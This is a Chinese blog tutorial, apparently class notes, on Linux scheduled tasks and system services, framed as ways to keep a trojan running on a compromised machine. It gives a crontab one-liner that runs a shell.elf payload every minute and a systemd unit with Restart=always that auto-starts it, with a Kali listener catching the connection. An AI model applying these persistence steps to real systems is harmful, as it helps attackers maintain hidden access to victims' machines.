欢迎光临
我们一直在努力

liunx 计划任务与监听

计划任务

1:概念“定时任务调度程序 任务计划: :在Linux中称为cron任务

输入crontab -l 查看任务(列出当前用户已配置的所有定时任务) 既是命令也是文件

运行一下看看 

这个已经切换过来了 这叫系统级的运行任务

之后输入cat /etc/crontab

 

这个就是系统编好的系统任务

“读取现有 crontab 规则 → 拼接新规则 → 覆盖回 crontab 配置”,最终实现不丢失原有定时任务、新增一条定时任务

#每分钟休眠 10 秒后执行 “/root/shell.elf” 的定时任务。 crontab -l | { cat ; echo "* * * * * sleep 10s ; 木马程序" ; } | crontab 这里括号前后可能都有空格 自己写的时候要注意

例如: crontab -l | { cat ; echo "* * * * * sleep 10s ; /root/shell.elf" ; } | crontab –

↑↑↑↑↑ ↑ ↑ ↑↑↑↑↑↑↑↑↑↑↑ ↑ ↑ ↑

  • {后空格 2. ;后空格 3. crontab内;加空格 4. 最后;后空格 5. }前空格

  • crontab -l (-1是查看下面还有 1 2 3 条任务的意思输出下一行命令)| { cat 查看的意思 ,去查看; (输出我自己的计划任务 echo "* * * * * sleep 10s ;) 木马程序" ; } 变成第四条| 进行下一步的拼接crontab 路径写绝对路径

    如果想看也可以看

    在这里 select-editor是编辑器让选择 我们的是 1. /bin/nano 选择1

    进入到编计划任务的地方

    这里就有语法格式 现在就自己写计划任务了

    输入crontab -l | { cat ; echo "* * * * * sleep 10s ; /home/enjoy/shell.elf" ; } | crontab –

    因为我们的是在/home/enjoy 所以要给它改一下

    谁的计划任务 是root的计划任务

    输入crontab -l

    里就可以看到计划任务了

    输入crontab -e

    是不是就写进来了 第一个就是

    之后我们进入到kali 运行一下木马程序

    输入run跑一下 我这里好像是防火墙的事没有显示大概就是这个意思

    之后就会显示 每分钟的运行任务这个就是用户及的计划任务

    用户级计划任务:/var/spool/cron/crontabs/

    如果是系统级的会多一个user 这个命令 谁来执行这个命令 命令就会变一下

    输入crontab -e 编辑任务(新增、修改或删除当前用户的定时任务配置)。

    2:之后就要定时的去编辑任务

    *****命令/脚本路径

    代表了分/时/日/月/周

    ***** 每分钟执行

    5**** 每小时的第五分钟执行

    (这些格式不用仔细的记可以问ai比如豆包里面问下这个计划用语怎么写它会回复你的) 在Linux中,每分钟执行/shell.elf

    系统启动项

    会开机自动启动 如果看ssh要怎么写

    输入cat /etc/init.d/ssh

    这个就讲这些 这是优点有没有什么缺点

    8.系统服务

    概念:受系统统一管控,常驻后台,提供特定功能后台程序

    系统崩溃会自动修复 隐蔽性也很强 要看也是要 /etc/systemd/system 这个是服务的目录

    输入

    ls /etc/systemd/system

    这里就会有这些 设置要怎么设置呢

    Description 这个是描述的意思 =test 描述什么呢测试的意思

    After 是以后的意思network 这个是网络 等网络启动以后.target 在来启动 这个.target

    [Service] 服务的具体语法

    Type 运行的意思=simple 运行=simple

    ExecStart= 指向的意思 指向什么/shell.elf 文件木马 绝对路径 要用绝对路径

    Restart重启 如果木马程序出现问题了always你给我一直重启

    [Install] 安装的形式

    1:输入nano /etc/systemd/system/test.service 这个文件要改/etc/systemd

    之后输入

    [Unit] Description=test After=network.target

    [Service] Type=simple ExecStart=/home/enjoy/shell.elf Restart=always

    [Install] WantedBy=multi-user.target

    之后保存并退出

    之后输入重新加载

    输入systemctl daemon-reload

    启动/停止服务: systemctl start test.service

    systemctl stop test.service

    我们是要启动的输入 systemctl start test.service

    之后开机自启

    输入systemctl enable test.service

    之后查看状态

    输入systemctl status test.service

    之后我们回到kali 看下效果

    之后就会监听到

    要遵守网络安全法

    赞(0)
    未经允许不得转载:171主机测评 » liunx 计划任务与监听
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址